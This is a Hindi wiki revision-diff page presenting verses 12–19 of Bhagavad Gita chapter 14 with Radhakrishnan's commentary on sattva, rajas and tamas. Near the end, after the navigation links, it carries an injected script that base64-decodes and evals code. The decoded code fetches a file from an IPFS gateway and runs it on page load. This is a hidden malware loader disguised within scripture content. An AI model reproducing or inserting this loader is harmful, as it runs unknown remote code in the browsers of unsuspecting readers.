"भगवद्गीता -राधाकृष्णन पृ. 225" के अवतरणों में अंतर

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
[अनिरीक्षित अवतरण][अनिरीक्षित अवतरण]
(' <div style="text-align:center; direction: ltr; margin-left: 1em;">अध्याय-13<br /> सब वस्तुओं और प्...' के साथ नया पन्ना बनाया)
 
 
पंक्ति १: पंक्ति १:
  <div style="text-align:center; direction: ltr; margin-left: 1em;">अध्याय-13<br />
+
  <div style="text-align:center; direction: ltr; margin-left: 1em;">अध्याय-14<br />
 
सब वस्तुओं और प्राणियों का रहस्यमय जनक सर्वोच्च ज्ञान</div>
 
सब वस्तुओं और प्राणियों का रहस्यमय जनक सर्वोच्च ज्ञान</div>
 
<poem style="text-align:center">   
 
<poem style="text-align:center">   

०५:१९, २७ सितम्बर २०१५ के समय का अवतरण

अध्याय-14
सब वस्तुओं और प्राणियों का रहस्यमय जनक सर्वोच्च ज्ञान

   
12.लोभः प्रवृत्तिरारम्भः कर्मणामशमः स्पृहा।
रजस्येतानि जायन्ते विवृद्धे भरतर्षभ।।
हे भरतों में में श्रेष्ठ (अर्जुन), जब रजोगुण बढ़ जाता है, तब लोभ, गतिविधि, कार्यों का प्रारम्भ, अशान्ति और वस्तुओं की लालसा- ये सब उत्पन्न हो जाते हैं; रजोगुण की प्रधानता से जीवन और उसके सुखों को पाने के लिए ओवशपूर्ण प्रयत्न उत्पन्न होता है।
 
13.अप्रकाशोअप्रवृत्तिश्च प्रमादो मोह एव च।
तमस्येतानि जायन्ते विवृद्धे कुरुनन्दन।।
हे कुरुनन्दन (अर्जुन), जब तमोगुण बढ़ जाता है, तब प्रकाश का अभाव, निष्क्रियता, लापरवाही और केवल मूढ़ता, ये सब उत्पन्न होते हैं। जहां प्रकाश सत्व-गुण का परिणाम है, वहां अप्रकाश या प्रभाव का अभाव तमोगुण का फल है। गलती, गलतफहमी, लापरवाही और निष्क्रियता, ये तामसिक स्वभाव के विशेष चिन्हृ हैं।
 
14.यदा सत्वे प्रवृद्धे तु प्रलयं याति देहभृत्।
तदोत्तम विदां लोकानमलान्प्रतिपद्यते।।
जब देहधारी आत्मा उस दशा में विलय को प्राप्त होती है, जब कि सत्वगुण प्रधान हो, त बवह सर्वोच्च (भगवान्) को जानने वालों के विशुद्ध लोकों में पहुंचती है।वे मुक्ति नहीं पाते, अपितु ब्रह्मलोक में जन्म लेते हैं। मुक्ति की दशा निस्त्रैगुण्य अर्थात् त्रिगुणातीतता है।
 
15.रजसि प्रलयं गत्वा कर्मसगिषु जायते।
तथा प्रलीनस्तमसि मूढ़योनिषु जायते।।
जब रजोगुण प्रधान हो, उस समय विलय को प्राप्त होने पर वह कर्मों में आसक्त लोगों के बीच जन्म लेती है; और यदि उसका विलय तब हो, जब कि तमोगुण प्रधान हो, तब वह मूढ़ योनियों में जन्म लेती है।

16.कर्मणः सुकृतस्याहुः सात्विकं निर्मलं फलम्।
रजसस्तु फलं दुःखमज्ञानं तमसः फलम्।।
अच्छे (सात्विक) कर्म का फल सात्विक और निर्मल कहा जाता है; राजसिक कर्म का फल दुःख होता है और तामसिक कर्म का फल अज्ञान होता है।
 
17.सत्वात्संजायते ज्ञानं रजसो लोभ एव च।
 प्रमादमोहौ तमसोअज्ञानमेव च।।
सत्व-गुण से ज्ञान उत्पन्न होता है, रजोगुण से लोभ उत्पन्न होता है और तमोगुण से प्रमाद, मूढ़ता और अज्ञान उत्पन्न होता है।यहां तीनों गुणों के मनोवैज्ञानिक परिणाम बताए गए हैं।
 
18.ऊध्र्वं गच्छन्ति सत्वस्था मध्ये तिष्ठन्ति राजसाः।
जघन्यगुणवृत्तिस्था अधो गच्छन्ति तामसाः।।
जो लोग सत्व-गुण में स्थित होते हैं, वे ऊपर की ओर उठते जाते हैं; रजोगुण वाले लोग मध्य के क्षेत्र में रहते हैं और तामसिक प्रवृत्ति वाले लोग जघन्य कर्मों में लगे रहकर नीचे की ओर गिरते जाते हैं।
आत्मा का विकास तीन सोपानों में होता है; यह निष्क्रिय जड़ता और अज्ञान की अधीनता से भौतिक सुखों के लिए संघर्ष द्वारा ऊपर उठती हुई ज्ञान और आनन्द की खोज की ओर बढ़ती है। परन्तु जब तक हम आसक्त रहते हैं, भले ही वह आसक्ति श्रेष्ठ वस्तुओं के प्रति क्यों न हो, हम सीमित रहते हैं और इसलिए सदा एक असुरक्षा की भावना बनी रहती है, क्योंकि रजस् और तमस् हमारे अन्दर विद्यमान सत्व पर हावी हो जा सकते हैं। सर्वोच्च आदर्श नैतिक, से ऊपर उठकर आध्यात्मिक स्तर पर पहुंचना है। अच्छे (सात्विक) मनुष्य को सन्त (त्रिगुणातीत) बनना चाहिए। जब तक हम इस स्थिति तक न पहुंच जाएं, तब तक हम केवल निर्माण की दशा में हैं; हमारा विकास अपूर्ण है।
 
19.नान्यं गुणेभ्यः कर्तारं यदा द्रष्टानुपश्चति।
गुणेभ्यश्च परं वेत्ति मद्धावं सोअधिगच्छति।।
जब देखने वाला (द्रष्टा) इन गुणों के अलावा अन्य किसी कर्ता को नहीं देखता और उसको भी जान लेता है जो कि इन गुणों से परे है, तब वह मेरे स्वरूप को प्राप्त हो जाता है।’’तब ब्रह्म के साथ उसकी तद्रूपता व्यक्त हो जाती है।’’ - आनन्दगिरि।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:भगवद्गीता -राधाकृष्णन